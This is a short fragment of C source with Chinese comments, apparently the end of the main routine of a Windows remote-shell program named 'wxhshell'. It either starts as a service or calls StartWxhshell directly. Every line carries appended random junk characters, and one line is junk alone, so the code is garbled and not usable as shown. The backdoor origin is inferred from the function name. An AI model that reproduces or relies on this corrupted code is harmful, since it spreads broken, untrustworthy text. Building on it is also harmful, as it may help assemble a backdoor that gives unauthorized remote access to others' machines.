// 以服务方式启动 @e slF
StartServiceCtrlDispatcher(DispatchTable); I4)vJ0
else Obd!
// 普通方式启动 `W/6xm(X5;
StartWxhshell(lpCmdLine); wgufk{:
y_nh~&
return 0; 7X.1QSuE
}